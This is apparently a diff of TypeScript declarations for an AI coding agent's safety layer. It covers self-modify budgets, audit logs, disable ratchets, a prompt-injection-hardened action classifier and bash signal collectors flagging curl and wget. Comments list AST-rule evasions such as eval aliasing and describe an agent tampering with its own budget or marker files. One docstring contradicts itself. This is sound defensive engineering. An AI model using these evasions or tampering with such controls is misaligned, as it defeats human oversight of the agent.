+ * - `Object.getPrototypeOf(proxiedTools)` returns null (no prototype
3694
+ * pollution surface).
3695
+ *
3696
+ * NOT a security boundary in the V8 / sandbox sense — it is a contract
3697
+ * gate. Bypass attempts are part of the threat model addressed by
3698
+ * Guardrail static check + LLM review.
3699
+ */
3700
+
3701
+ interface CreateCtxProxyOptions {
3702
+ /**
3703
+ * When set, capability denial is reported through this callback before
3704
+ * the error is thrown. Lets the runtime emit a tracer span without
3705
+ * coupling CtxProxy to the tracer module.
3706
+ */
3707
+ readonly onDenied?: (event: {
3708
+ toolName: string;
3709
+ declaredTools: readonly string[];
3710
+ }) => void;
3711
+ }
3712
+ declare function createCtxProxy(ctx: unknown, capabilities: Capabilities, options?: CreateCtxProxyOptions): unknown;
3713
+
3714
+ /**
3715
+ * loadHandler — turns a manifest's handler script into a callable
3716
+ * `ToolHandler` ready to register into `TOOL_REGISTRY`.
3717
+ *
3718
+ * Pipeline:
3719
+ * 1. Validate language === 'javascript' (v0.7.28 hard limit).
3720
+ * 2. Materialize the handler source onto disk under
3721
+ * `<cwd>/.kodax/constructed/tools/<name>/<version>.js`.
3722
+ * 3. Dynamic `import()` of the file URL — host-process module load,
3723
+ * no worker / vm isolation (DD §14.4).
3724
+ * 4. Wrap with `createCtxProxy` + a Promise.race timeout.
3725
+ *
3726
+ * Design notes:
3727
+ * - Returning `ToolHandlerSync` (not the streaming variant) — v0.7.28
3728
+ * constructed tools are non-streaming computations.
3729
+ * - Handler return value is stringified for the agent loop, mirroring
3730
+ * builtin tool result conventions.
3731
+ * - ESM module cache is intentional: re-loading the same `<version>.js`
3732
+ * returns the cached module. Constructed artifacts are immutable per
3733
+ * version, so this is correct (revoke + new version is the proper
3734
+ * update path).
3735
+ * - Timeout is enforced via Promise.race; the underlying handler
3736
+ * promise is *not* hard-aborted (Node has no general task abort).
3737
+ * Long-running CPU loops will leak past timeout — accepted in the
3738
+ * v0.7.28 threat model (LLM hallucination, not adversarial DoS).
3739
+ */
3740
+
3741
+ interface LoadHandlerScope {
3742
+ readonly name: string;
3743
+ readonly version: string;
3744
+ /** Workspace root; defaults to `process.cwd()`. */
3745
+ readonly cwd?: string;
3746
+ }
3747
+ interface LoadHandlerOptions {
3748
+ /** Per-tool override; falls back to {@link DEFAULT_HANDLER_TIMEOUT_MS}. */
3749
+ readonly timeoutMs?: number;
3750
+ /** Pass-through to {@link createCtxProxy}. */
3751
+ readonly ctxProxyOptions?: CreateCtxProxyOptions;
3752
+ }
3753
+ declare function loadHandler(scope: LoadHandlerScope, source: ScriptSource, capabilities: Capabilities, options?: LoadHandlerOptions): Promise<ToolHandlerSync>;
3754
+
3755
+ /**
3756
+ * Hard AST rules — first-tier static check for constructed tool handlers.
3757
+ *
3758
+ * Three rules, picked for maximum determinism + minimum cost (DD §14.5.1):
3759
+ * 1. no-eval — any literal eval(...) call
3760
+ * 2. no-Function-constructor — new Function(...) and bare Function(...)
3761
+ * 3. require-handler-signature — module must export `handler` as an async
3762
+ * function/arrow/function-expression with
3763
+ * at least 2 parameters.
3764
+ *
3765
+ * Pass = enter LLM static review (second tier).
3766
+ * Fail = block stage(); errors surface in TestResult.errors.
3767
+ *
3768
+ * Limitations (deliberately):
3769
+ * - We do NOT chase aliases (`const e = eval; e('...')`).
3770
+ * - We do NOT walk property accesses (`globalThis.eval`).
3771
+ * - We do NOT analyze string concat to spot `['req','uire'].join('')`.
3772
+ * All of those are LLM-review territory — the rule set here is the
3773
+ * "cheap, certain" first cut.
3774
+ *
3775
+ * Uses the bundled TypeScript compiler (already a KodaX dep) as the
3776
+ * parser. Source kind is JS — handlers are limited to language='javascript'
3777
+ * by load-handler; we just parse-as-JS to match.
3778
+ */
3779
+ type AstRuleId = 'no-eval' | 'no-Function-constructor' | 'require-handler-signature';
3780
+ interface AstRuleViolation {
3781
+ readonly rule: AstRuleId;
3782
+ readonly message: string;
3783
+ }
3784
+ interface AstCheckResult {
3785
+ readonly ok: boolean;
3786
+ readonly violations: readonly AstRuleViolation[];
3787
+ }
3788
+ declare function runAstRules(jsCode: string): AstCheckResult;
3789
+
3790
+ /**
3791
+ * FEATURE_090 (v0.7.32) — Self-modify audit log.
3792
+ *
3793
+ * Append-only JSONL at `<cwd>/.kodax/constructed/_audit.jsonl`. Every
3794
+ * self-modify lifecycle event (staged / activated / rejected / rolled-
3795
+ * back / disabled / budget-reset) becomes one line. The file is the
3796
+ * sole record an operator can replay to answer "what did this agent
3797
+ * do to itself, when, and who approved each step."
3798
+ *
3799
+ * Why JSONL not JSON:
3800
+ * - Append is a one-line write, atomic against partial-flush concerns
3801
+ * (each line is independently parseable).
3802
+ * - Read can stream line-by-line without parsing the whole history.
3803
+ * - Standard tooling (jq, grep) works on the file directly.
3804
+ *
3805
+ * Why no rotation / truncation:
3806
+ * - Audit completeness > disk usage. A 100k-line file is ~10 MB and
3807
+ * remains tail-readable. The `kodax constructed audit` CLI surfaces
3808
+ * a warning when an agent crosses 100 entries — escalation cue,
3809
+ * not a hard cap.
3810
+ * - Truncating the audit log would defeat the point: a malicious
3811
+ * agent that gained write access could erase its own history.
3812
+ * Keeping the file append-only at the tooling level means
3813
+ * tampering shows up as JSONL the rest of the system can detect.
3814
+ *
3815
+ * Threat model:
3816
+ * The file lives in the same workspace the agent runs in, so an
3817
+ * agent with arbitrary filesystem write access could mutate it
3818
+ * directly. This module does NOT defend against that — KodaX's
3819
+ * single-user CLI threat model (DD §14.5) treats workspace
3820
+ * integrity as the user's responsibility. Each entry carries a
3821
+ * `diffHash` that downstream replay tools can re-compute against
3822
+ * the corresponding manifest version on disk; mismatches are an
3823
+ * alarm signal, not silently masked.
3824
+ */
3825
+
3826
+ /**
3827
+ * Discriminated union of audit event kinds. Every self-modify-related
3828
+ * lifecycle transition writes exactly one entry; rollback / disable /
3829
+ * budget-reset are also recorded for full operator visibility.
3830
+ *
3831
+ * `event` is the discriminant. Keep the constant names stable — CLI
3832
+ * filters and replay tooling pivot on these strings.
3833
+ */
3834
+ type AuditEventKind = 'self_modify_staged' | 'self_modify_tested' | 'self_modify_activated' | 'self_modify_rejected' | 'self_modify_rolled_back' | 'self_modify_disabled' | 'self_modify_budget_reset';
3835
+
3836
+ /**
3837
+ * Single line in `_audit.jsonl`. Frozen after write — entries are
3838
+ * never updated in place. Optional fields are omitted (not nulled)
3839
+ * when the event kind doesn't carry them, so JSON.parse round-trips
3840
+ * to a TS narrowing-friendly shape.
3841
+ */
3842
+ interface AuditEntry {
3843
+ readonly ts: string;
3844
+ readonly event: AuditEventKind;
3845
+ readonly agentName: string;
3846
+ readonly toVersion: string;
3847
+ /** Prior active version. Undefined for first-time staging events. */
3848
+ readonly fromVersion?: string;
3849
+ /** SHA-256 of the canonicalised `{ prev, next }` content pair. */
3850
+ readonly diffHash?: string;
3851
+ readonly llmSummary?: string;
3852
+ readonly severity?: SelfModifyDiffSeverity;
3853
+ readonly flaggedConcerns?: readonly string[];
3854
+ /**
3855
+ * Verdict surfaced by the policy gate. `force-ask-user` records the
3856
+ * (hypothetical) fact that self-modify path bypassed any global
3857
+ * auto-approve policy and forced a user prompt, distinct from the
3858
+ * default `ask-user`.
3859
+ */
3860
+ readonly policyVerdict?: 'approve' | 'reject' | 'ask-user' | 'force-ask-user';
3861
+ readonly budgetRemaining?: number;
3862
+ /** Hard-reject rule id when `event === 'self_modify_rejected'`. */
3863
+ readonly rejectRule?: string;
3864
+ readonly rejectReason?: string;
3865
+ /** OS user who took the action; informational, not authoritative. */
3866
+ readonly user?: string;
3867
+ }
3868
+ interface AppendOptions {
3869
+ /** Repo root (defaults to `process.cwd()`). */
3870
+ readonly cwd?: string;
3871
+ }
3872
+ /**
3873
+ * Append a single entry to the audit log. The directory is created on
3874
+ * first call. JSON serialisation enforces the line-per-entry shape:
3875
+ * one `JSON.stringify` followed by a literal `\n`. Multi-line JSON
3876
+ * (pretty-printed) would corrupt the JSONL contract.
3877
+ *
3878
+ * Concurrency note: Node `fs.appendFile` on a single small write is
3879
+ * atomic at the syscall level on the platforms KodaX targets
3880
+ * (Linux/macOS/Windows). KodaX is single-user CLI so concurrent
3881
+ * writers are not a real concern; defending against them would
3882
+ * require a lock file the rest of the construction runtime doesn't
3883
+ * carry.
3884
+ */
3885
+ declare function appendAuditEntry(entry: AuditEntry, options?: AppendOptions): Promise<void>;
3886
+ interface ReadOptions {
3887
+ readonly cwd?: string;
3888
+ /** Filter to a single agent. Undefined returns all entries. */
3889
+ readonly agentName?: string;
3890
+ /** Filter to specific event kinds. Undefined matches every kind. */
3891
+ readonly events?: readonly AuditEventKind[];
3892
+ }
3893
+ /**
3894
+ * Stream the audit log line-by-line, parse each, and return entries
3895
+ * matching the optional filters. Malformed lines are skipped with a
3896
+ * stderr warning — a single corrupted entry must not poison the
3897
+ * entire history. (This mirrors `loadAllArtifacts` in runtime.ts.)
3898
+ *
3899
+ * Returns an empty array when the audit file does not exist (fresh
3900
+ * workspace, no self-modify ever recorded).
3901
+ */
3902
+ declare function readAuditEntries(options?: ReadOptions): Promise<AuditEntry[]>;
3903
+
3904
+ /**
3905
+ * FEATURE_090 (v0.7.32) — Self-modify budget counter.
3906
+ *
3907
+ * Per-agent counter persisted at
3908
+ * `<cwd>/.kodax/constructed/agents/<name>/_self_modify.json`. The
3909
+ * counter caps how many cross-run self-modify cycles an agent can
3910
+ * accumulate before requiring a human unlock. Without this cap, an
3911
+ * agent that learns to self-modify could rewrite itself on every
3912
+ * session boot until it drifts arbitrarily far from the original
3913
+ * design — Layer A admission and the policy gate would each be a
3914
+ * single rubber-stamp click away.
3915
+ *
3916
+ * Why a separate file (not in the manifest):
3917
+ * - Manifests are content-hashed and version-immutable
3918
+ * (`stage()` refuses to rewrite an existing version). A counter
3919
+ * that mutates across versions cannot live inside the hashed
3920
+ * content without breaking the `contentHash` integrity guarantee.
3921
+ * - The counter accumulates across versions; binding it to one
3922
+ * `<version>.json` would lose state on every bump.
3923
+ *
3924
+ * Why hard-coded N=3 (not configurable):
3925
+ * - System-level safety constants the agent cannot influence are
3926
+ * part of the threat model. Allowing per-agent override would
3927
+ * mean a self-modifying agent could lift its own ceiling — the
3928
+ * opposite of what the budget is for. Users adjust by reset
3929
+ * (CLI `kodax constructed reset-self-modify-budget <name>`),
3930
+ * not by config.
3931
+ *
3932
+ * Threat model & hardening:
3933
+ * The file is plain JSON in the user's workspace. An agent with
3934
+ * filesystem write access (via Write/Edit tools) is an active
3935
+ * threat for FEATURE_090 — the agent itself is the actor we
3936
+ * gate against. We harden two ways:
3937
+ *
3938
+ * - The persisted `limit` is IGNORED on read; `readBudget`
3939
+ * always returns `DEFAULT_SELF_MODIFY_BUDGET` as the limit.
3940
+ * Tampering the file to raise the cap is a no-op.
3941
+ * - The persisted `count` is clamped to `>= 0` on read so a
3942
+ * negative number cannot grant extra remaining budget.
3943
+ *
3944
+ * What we do NOT defend against: an attacker with shell-level
3945
+ * filesystem access can still delete the file, which resets the
3946
+ * counter to zero. The audit log captures the behavioural gap
3947
+ * (5 self-modifies recorded but post-modify counter shows 0)
3948
+ * and an operator replaying the log notices.
3949
+ */
3950
+ /**
3951
+ * Default cross-run self-modify budget. N=3 was chosen as the
3952
+ * minimum that allows "two course corrections, then settle" while
3953
+ * forcing re-engagement before the agent drifts far from its
3954
+ * original design. Lifting this requires deliberately re-evaluating
3955
+ * whether the audit log + ratchet alone are sufficient.
3956
+ *
3957
+ * Not exported as a configurable knob — see module docstring for
3958
+ * the rationale.
3959
+ */
3960
+ declare const DEFAULT_SELF_MODIFY_BUDGET = 3;
3961
+ /**
3962
+ * On-disk shape of the per-agent budget file. `limit` and `count`
3963
+ * are stored as plain integers. `lastModifiedAt` is ISO-8601 (sortable
3964
+ * + human-readable) — the audit log carries millisecond timestamps,
3965
+ * which complement, not duplicate, this field.
3966
+ */
3967
+ interface BudgetState {
3968
+ readonly name: string;
3969
+ readonly limit: number;
3970
+ readonly count: number;
3971
+ readonly lastModifiedAt?: string;
3972
+ }
3973
+ interface BudgetIO {
3974
+ readonly cwd?: string;
3975
+ }
3976
+ /**
3977
+ * Read the agent's current budget state, materialising the default
3978
+ * record on first access. The default record is NOT persisted at
3979
+ * read time — only `consumeBudget` and `resetBudget` write to disk.
3980
+ * Read-only callers (e.g. the CLI's `audit` listing) must remain
3981
+ * side-effect-free so a `--dry-run` mode is trivially possible later.
3982
+ */
3983
+ declare function readBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
3984
+ /**
3985
+ * Number of remaining self-modify slots. `limit - count`, clamped at
3986
+ * zero so a corrupt file that recorded `count > limit` doesn't show
3987
+ * a negative remaining count to the user.
3988
+ */
3989
+ declare function remaining(state: BudgetState): number;
3990
+ /**
3991
+ * Reset the consumption counter to zero. Does not change the limit.
3992
+ * Surface to users via `kodax constructed reset-self-modify-budget`.
3993
+ *
3994
+ * Returns the post-write state so the CLI can confirm "now N/N
3995
+ * available" without an extra read.
3996
+ */
3997
+ declare function resetBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
3998
+
3999
+ /**
4000
+ * FEATURE_090 (v0.7.32) — Per-agent self-modify disable marker.
4001
+ *
4002
+ * The marker file at `.kodax/constructed/agents/<name>/_self_modify_disabled.json`
4003
+ * indicates the operator has explicitly disabled an agent's self-modify
4004
+ * capability through the `kodax constructed disable-self-modify <name>`
4005
+ * CLI. `validateSelfModify` consults this state and hard-rejects with
4006
+ * the `self-modify-disabled` rule when the marker exists.
4007
+ *
4008
+ * One-way ratchet by design:
4009
+ *
4010
+ * The CLI exposes `disable-self-modify` but no symmetrical `enable`.
4011
+ * Re-enabling self-modify is intentionally NOT supported — once an
4012
+ * operator decides an agent shouldn't be able to rewrite itself,
4013
+ * that decision sticks for the lifetime of the agent. To regain a
4014
+ * "can self-modify" agent, stage a separately-named replacement
4015
+ * through `stage_agent_construction`.
4016
+ *
4017
+ * Why a separate file (not a flag inside `_self_modify.json`):
4018
+ * - Concerns are independent: budget consumption is a counter that
4019
+ * legitimately mutates every activation cycle; disable is a
4020
+ * permanent operator decision. Mixing them would force the
4021
+ * budget read path to discriminate "is the file just a counter
4022
+ * update, or did someone also flip the disable flag?"
4023
+ * - File presence as the truth value is dead simple to detect
4024
+ * (`fs.access` returns OK / ENOENT).
4025
+ *
4026
+ * Threat model: same as the rest of FEATURE_090's persisted state —
4027
+ * single-user CLI workspace integrity (DD §14.5). An agent with
4028
+ * filesystem write access could create the marker itself, which is
4029
+ * actually fine: writing the marker only DISABLES (one-way safety
4030
+ * ratchet). Removing it would re-enable, but `validateSelfModify`
4031
+ * still requires the marker to be present to reject — if a
4032
+ * resourceful agent removes the marker AND submits a self-modify in
4033
+ * the same session, the modify still has to pass admission /
4034
+ * guardrail ratchet / user approval. The marker is one layer of
4035
+ * defense, not the only one.
4036
+ */
4037
+ interface DisableState {
4038
+ readonly name: string;
4039
+ readonly disabled: boolean;
4040
+ readonly disabledAt?: string;
4041
+ readonly user?: string;
4042
+ }
4043
+ interface DisableIO {
4044
+ readonly cwd?: string;
4045
+ }
4046
+ /**
4047
+ * Read the disable marker for `name`. Returns
4048
+ * `{ disabled: false, name }` when the file does not exist (the
4049
+ * common case). Malformed JSON content is treated as "not disabled"
4050
+ * with a stderr warning — we don't want a corrupt marker to silently
4051
+ * permit self-modifies on an agent the operator meant to disable.
4052
+ *
4053
+ * No, wait — we DO want corrupt markers to fail safe in the
4054
+ * "disabled" direction so an attacker can't bypass disable by
4055
+ * corrupting the file. Override: malformed → treat as disabled.
4056
+ */
4057
+ declare function readDisableState(name: string, io?: DisableIO): Promise<DisableState>;
4058
+ interface DisableOptions {
4059
+ readonly cwd?: string;
4060
+ readonly user?: string;
4061
+ }
4062
+ /**
4063
+ * Write the disable marker. Idempotent — calling on an
4064
+ * already-disabled agent rewrites the timestamp, preserving the
4065
+ * one-way ratchet semantics (the CLI surface still records the new
4066
+ * audit entry separately).
4067
+ */
4068
+ declare function disableSelfModify(name: string, options?: DisableOptions): Promise<DisableState>;
4069
+
4070
+ /**
4071
+ * FEATURE_090 (v0.7.32) — Self-modify rollback orchestration.
4072
+ *
4073
+ * `rollbackSelfModify` is the runtime-level operation behind the
4074
+ * `kodax constructed rollback <name>` CLI. It restores the
4075
+ * previously-active version of a constructed agent by:
4076
+ *
4077
+ * 1. Identifying the current active version (the `status='active'`
4078
+ * record with the most recent `activatedAt`).
4079
+ * 2. Identifying the rollback target — the next-most-recent
4080
+ * `status='active'` record on disk for the same name. Earlier
4081
+ * versions stay at `status='active'` after a self-modify
4082
+ * activate (FEATURE_090 design intent: keep them as rollback
4083
+ * targets), so the candidate set is whatever the file system
4084
+ * has.
4085
+ * 3. Revoking the current active record (status → 'revoked',
4086
+ * removed from the resolver via the unregister callback).
4087
+ * 4. Re-registering the target into the resolver. No policy gate,
4088
+ * no LLM summary, no force-ask-user — rollback is its own
4089
+ * operator-driven gate; the CLI invocation itself is the
4090
+ * authorisation.
4091
+ *
4092
+ * We do NOT rewrite the target's `activatedAt`. The original
4093
+ * activation timestamps form a natural rollback chain: a second
4094
+ * rollback against the same agent picks the next-older active
4095
+ * record, and so on. Rewriting `activatedAt` would collapse the
4096
+ * history and break chained rollbacks.
4097
+ *
4098
+ * Why a dedicated function (not a thin wrapper around `activate()`):
4099
+ *
4100
+ * - `activate()` triggers the FEATURE_090 self-modify detection
4101
+ * (`sourceAgent === name && active prev exists`). In a rollback
4102
+ * flow that detection would mis-fire and route through
4103
+ * force-ask-user / LLM summary, asking the user for permission
4104
+ * they already granted by invoking the rollback CLI.
4105
+ * - `activate()` enforces the FEATURE_088 policy gate; the CLI
4106
+ * surface configures `policy='reject'`, so it would always
4107
+ * throw.
4108
+ * - Rollback is read-modify-write across two persisted records
4109
+ * (revoke + re-register) and benefits from atomic-ish ordering
4110
+ * hidden behind one function rather than scattered across the
4111
+ * CLI.
4112
+ *
4113
+ * Audit semantics: this module persists the resolver/disk changes
4114
+ * but does NOT write the audit entry — the CLI surface owns audit
4115
+ * attribution (records the OS user) and writes the
4116
+ * `self_modify_rolled_back` entry around the call. Keeps the
4117
+ * runtime's persistence concern separate from CLI-side attribution.
4118
+ */
4119
+ interface RollbackResult {
4120
+ readonly agentName: string;
4121
+ readonly fromVersion: string;
4122
+ readonly toVersion: string;
4123
+ readonly fromActivatedAt: number | undefined;
4124
+ readonly toActivatedAt: number | undefined;
4125
+ }
4126
+ /**
4127
+ * Roll back `name` to its previous active version. Throws
4128
+ * `RollbackError` with a discriminated `code` so the CLI surface can
4129
+ * map onto exit codes / human-readable messages without string
4130
+ * matching.
4131
+ *
4132
+ * Pre-conditions:
4133
+ * - At least two records on disk for the given name with
4134
+ * `status='active'` and `activatedAt` set. The current is
4135
+ * revoked; the next-most-recent becomes the active resolver
4136
+ * entry.
4137
+ * - The rollback target's manifest must still pass admission. We
4138
+ * re-run admission so a target that was admissible at the time
4139
+ * it originally activated but no longer is (system caps tightened,
4140
+ * registered invariants changed) can't be silently re-registered.
4141
+ */
4142
+ declare function rollbackSelfModify(name: string): Promise<RollbackResult>;
4143
+
4144
+ /**
4145
+ * Auto-Mode Classifier Orchestrator — FEATURE_092 Phase 2b.3 (v0.7.33).
4146
+ *
4147
+ * Wires the classifier prompt + sideQuery + output parser into a single
4148
+ * `classify(...)` call. Caller supplies the rules, transcript, and the
4149
+ * tool-call action being classified; gets back a `ClassifyDecision`.
4150
+ *
4151
+ * Failure → decision mapping:
4152
+ *
4153
+ * sideQuery.stopReason parsedOutput → ClassifyDecision
4154
+ * ───────────────────────────────────────────────────────
4155
+ * end_turn / max_tokens block → block (with reason)
4156
+ * end_turn / max_tokens allow → allow
4157
+ * end_turn / max_tokens unparseable → block (fail-closed)
4158
+ * end_turn / max_tokens + tool_use → block (contract violation)
4159
+ * (sideQuery returns stopReason='error' here)
4160
+ * timeout — → escalate (user confirms)
4161
+ * aborted — → escalate (treated as caller-abort)
4162
+ * error — → escalate (5xx / 429 / network)
4163
+ *
4164
+ * Why fail-closed on unparseable but escalate on timeout/error:
4165
+ * Unparseable = model spoke but didn't follow the contract → likely
4166
+ * trying to bypass; treating as block is conservative and safe.
4167
+ * Timeout/error = transient; blocking would punish the user for our
4168
+ * infra hiccup. Escalating to a confirm dialog preserves user
4169
+ * agency without putting safety on the line.
4170
+ */
4171
+
4172
+ interface ClassifyOptions {
4173
+ readonly provider: KodaXBaseProvider;
4174
+ readonly model: string;
4175
+ readonly rules: AutoRules;
4176
+ readonly claudeMd?: string;
4177
+ readonly transcript: readonly KodaXMessage[];
4178
+ readonly action: string;
4179
+ /**
4180
+ * FEATURE_158 (v0.7.39): static-analysis signals forwarded to the
4181
+ * classifier prompt. Empty / undefined preserves the FEATURE_092 prompt
4182
+ * shape (no `<signals>` block emitted). When supplied, the classifier
4183
+ * sees signals between `<transcript>` and `<action>` as informational
4184
+ * input — not verdicts.
4185
+ */
4186
+ readonly signals?: readonly ToolCallSignal[];
4187
+ readonly timeoutMs?: number;
4188
+ readonly abortSignal?: AbortSignal;
4189
+ readonly costTracker?: CostTracker;
4190
+ /**
4191
+ * Optional setter — invoked once after `sideQuery` returns when the
4192
+ * classifier successfully recorded its token usage. The CostTracker is
4193
+ * immutable, so `sideQuery` produces a fresh tracker copy with the new
4194
+ * record; without this setter the recorded call is silently dropped.
4195
+ * Wired by the AutoModeToolGuardrail so the agent's tracker accumulates
4196
+ * classifier calls under role='auto_mode'.
4197
+ */
4198
+ readonly setCostTracker?: (next: CostTracker) => void;
4199
+ }
4200
+ type ClassifyDecision = {
4201
+ readonly kind: 'allow';
4202
+ readonly reason: string;
4203
+ } | {
4204
+ readonly kind: 'block';
4205
+ readonly reason: string;
4206
+ } | {
4207
+ readonly kind: 'escalate';
4208
+ readonly reason: string;
4209
+ };
4210
+ declare function classify(opts: ClassifyOptions): Promise<ClassifyDecision>;
4211
+
4212
+ /**
4213
+ * Classifier prompt builder — FEATURE_092 Phase 2b.3 (v0.7.33).
4214
+ *
4215
+ * Builds the system prompt + user message for the auto-mode classifier
4216
+ * sideQuery. Inert XML envelope: transcript and action are wrapped as
4217
+ * data, not as continuation of the conversation.
4218
+ *
4219
+ * Anti-injection defenses:
4220
+ * 1. The system prompt explicitly instructs the model to treat
4221
+ * <transcript> as data, never as instructions.
4222
+ * 2. User-controlled strings (transcript content, action, rules) are
4223
+ * passed through `neutralizeStructuralDelimiters` so they can't
4224
+ * forge a closing </transcript> or a fake <action>.
4225
+ * 3. Output format is constrained to `<block>yes|no</block><reason>…</reason>`
4226
+ * with explicit "Do NOT include thinking or preamble" guidance.
4227
+ */
4228
+
4229
+ interface BuildClassifierPromptInput {
4230
+ readonly rules: AutoRules;
4231
+ readonly claudeMd?: string;
4232
+ readonly transcript: readonly KodaXMessage[];
4233
+ readonly action: string;
4234
+ /**
4235
+ * FEATURE_158 (v0.7.39): mechanical pattern matches over the tool call
4236
+ * (dangerous_pattern / protected_path / outside_project / network / etc.).
4237
+ * Surfaced to the model as **informational input** — NOT verdicts. The
4238
+ * model weighs signals alongside transcript + rules to produce the
4239
+ * final allow / block / escalate decision.
4240
+ *
4241
+ * Empty / undefined → no `<signals>` block emitted (back-compat shape
4242
+ * for callers that don't yet supply signals).
4243
+ */
4244
+ readonly signals?: readonly ToolCallSignal[];
4245
+ }
4246
+ interface ClassifierPrompt {
4247
+ readonly system: string;
4248
+ readonly messages: readonly KodaXMessage[];
4249
+ }
4250
+ declare function buildClassifierPrompt(input: BuildClassifierPromptInput): ClassifierPrompt;
4251
+
4252
+ /**
4253
+ * Transcript stripping for the auto-mode classifier — FEATURE_092 Phase 2b.3 (v0.7.33).
4254
+ *
4255
+ * The classifier sees a SUBSET of the main session's transcript:
4256
+ *
4257
+ * - user messages (text and tool_result blocks) KEEP
4258
+ * - assistant tool_use blocks (factual record) KEEP
4259
+ * - assistant text + thinking + redacted_thinking DROP
4260
+ *
4261
+ * Why drop assistant reasoning:
4262
+ * 1. Prompt-injection defense — the main agent may have absorbed
4263
+ * instructions from a poisoned tool_result; its reasoning could
4264
+ * then propagate that injection to the classifier.
4265
+ * 2. Noise reduction — assistant prose dilutes the signal the
4266
+ * classifier needs (user intent + actual tool calls).
4267
+ * 3. Cost — main-session reasoning can be tens of KB; classifier
4268
+ * input should stay in the few-KB range.
4269
+ *
4270
+ * Two size budgets:
4271
+ * - maxToolResultBytes (default 2KB) — per-tool_result content cap
4272
+ * - maxTranscriptBytes (default 8KB) — total serialized size cap;
4273
+ * drops middle messages first, preserves first user message
4274
+ * (original intent) and recent tail.
4275
+ */
4276
+
4277
+ interface StripOptions {
4278
+ readonly maxToolResultBytes?: number;
4279
+ readonly maxTranscriptBytes?: number;
4280
+ }
4281
+ declare function stripAssistantText(messages: readonly KodaXMessage[], opts?: StripOptions): KodaXMessage[];
4282
+
4283
+ /**
4284
+ * Parse the auto-mode classifier's output — FEATURE_092 Phase 2b.3 (v0.7.33).
4285
+ *
4286
+ * Expected format:
4287
+ * <block>yes|no</block><reason>one short sentence</reason>
4288
+ *
4289
+ * Robustness:
4290
+ * - case-insensitive yes/no
4291
+ * - whitespace inside / around tags tolerated
4292
+ * - reason is optional (treated as '' if missing)
4293
+ * - if block tag missing or value is neither yes/no → unparseable (caller
4294
+ * fail-closes to block, per design doc)
4295
+ * - reasons longer than 500 chars are truncated (defense against
4296
+ * pathological model outputs)
4297
+ * - first <block> tag wins (defense against prompt-injection echoing
4298
+ * the format with a different value later)
4299
+ */
4300
+ type ClassifierDecision = {
4301
+ readonly kind: 'block';
4302
+ readonly reason: string;
4303
+ } | {
4304
+ readonly kind: 'allow';
4305
+ readonly reason: string;
4306
+ } | {
4307
+ readonly kind: 'unparseable';
4308
+ readonly raw: string;
4309
+ };
4310
+ declare function parseClassifierOutput(raw: string): ClassifierDecision;
4311
+
4312
+ /**
4313
+ * Classifier Model Resolver — FEATURE_092 Phase 2b.5 (v0.7.33).
4314
+ *
4315
+ * Determines which (provider, model) pair the auto-mode classifier should
4316
+ * call sideQuery against. Supports a 4-layer override chain (highest wins):
4317
+ *
4318
+ * 1. CLI flag (--auto-classifier-model <spec>)
4319
+ * 2. Env var (KODAX_AUTO_CLASSIFIER_MODEL)
4320
+ * 3. Session override (/auto-model <spec>)
4321
+ * 4. User settings (~/.kodax/settings.json: autoMode.classifierModel)
4322
+ *
4323
+ * Falls back to the main session's (provider, model) when no override is
4324
+ * set — matching Claude Code's "use the same model you'd use for coding"
4325
+ * default. Spec format: "provider:model" or just "model" (provider then
4326
+ * inherits from the default-main).
4327
+ *
4328
+ * This module does NOT instantiate a KodaXBaseProvider — it returns names.
4329
+ * The actual provider lookup happens at the AutoModeToolGuardrail call site
4330
+ * (Phase 2b.6) so this module stays trivially testable without
4331
+ * provider-registry side effects.
4332
+ *
4333
+ * Capability check (provider.supportsAutoModeClassifier) is deferred to a
4334
+ * follow-up phase — extending FEATURE_029 capability profiles touches every
4335
+ * provider. For v1 the call simply fails fast at sideQuery time if the
4336
+ * provider can't stream text.
4337
+ */
4338
+ interface ParsedModelSpec {
4339
+ readonly providerName: string | null;
4340
+ readonly model: string;
4341
+ }
4342
+ type ResolveSource = 'cli' | 'env' | 'session-override' | 'user-settings' | 'default-main';
4343
+ interface ResolveClassifierModelOptions {
4344
+ readonly cliFlag?: string;
4345
+ readonly envVar?: string;
4346
+ readonly sessionOverride?: string;
4347
+ readonly userSettings?: string;
4348
+ readonly defaultProvider: string;
4349
+ readonly defaultModel: string;
4350
+ }
4351
+ interface ResolvedClassifierModel {
4352
+ readonly providerName: string;
4353
+ readonly model: string;
4354
+ readonly source: ResolveSource;
4355
+ }
4356
+ declare function parseModelSpec(spec: string): ParsedModelSpec;
4357
+ declare function resolveClassifierModel(opts: ResolveClassifierModelOptions): ResolvedClassifierModel;
4358
+
4359
+ /**
4360
+ * Bash Signal Collector — FEATURE_158 Step 3 (v0.7.39).
4361
+ *
4362
+ * Command-string-level mechanical pattern matches over a `bash` tool call.
4363
+ * Produces signals the auto-mode classifier consumes as informational input
4364
+ * (NOT verdicts — see `signals.ts` invariants).
4365
+ *
4366
+ * Scope of this collector:
4367
+ * - dangerous_pattern (wraps `classifyBashCommand` from bash-classifier.ts;
4368
+ * DEFAULT_DANGEROUS_PATTERNS hits become signals)
4369
+ * - network (curl / wget / fetch literal token)
4370
+ * - package_install (npm/pnpm/yarn/pip/cargo/apt/brew install verbs)
4371
+ * - git_write (commit / push / reset / clean / rebase /
4372
+ * cherry-pick / revert)
4373
+ *
4374
+ * **Out of scope (deferred to REPL-side `extraCollectors`)**:
4375
+ * - protected_path / outside_project signals that depend on extracting
4376
+ * paths from a bash command argv. The AST + path-extraction utilities
4377
+ * live in `@kodax/repl` for historical reasons (Issue 131 root cause);
4378
+ * keeping this module repl-independent preserves layer boundaries
4379
+ * (ADR-021). The guardrail accepts `extraCollectors` so REPL can inject
4380
+ * a path-aware bash collector built on its `extractPathsFromCommand`.
4381
+ *
4382
+ * Purity: deterministic given `call.input.command`. No async, no I/O.
4383
+ */
4384
+
4385
+ declare const bashSignalCollector: SignalCollector;
4386
+
4387
+ /**
4388
+ * File Signal Collector — FEATURE_158 Step 3 (v0.7.39).
4389
+ *
4390
+ * Produces signals for `write` / `edit` tool calls about the target path's
4391
+ * relation to the project + protected zones. Used by the auto-mode
4392
+ * classifier as informational input (NOT verdicts — see `signals.ts`
4393
+ * invariants).
4394
+ *
4395
+ * Signal kinds produced:
4396
+ * - protected_path (path under <projectRoot>/.kodax or ~/.kodax)
4397
+ * - outside_project (path outside projectRoot AND outside system temp)
4398
+ * - file_modification (always emitted with target path — coarse-grained
4399
+ * flag for the classifier to anchor file-edit context)
4400
+ *
4401
+ * Tier 0 (absolute deny) for `~/.kodax/` writes is a separate module —
4402
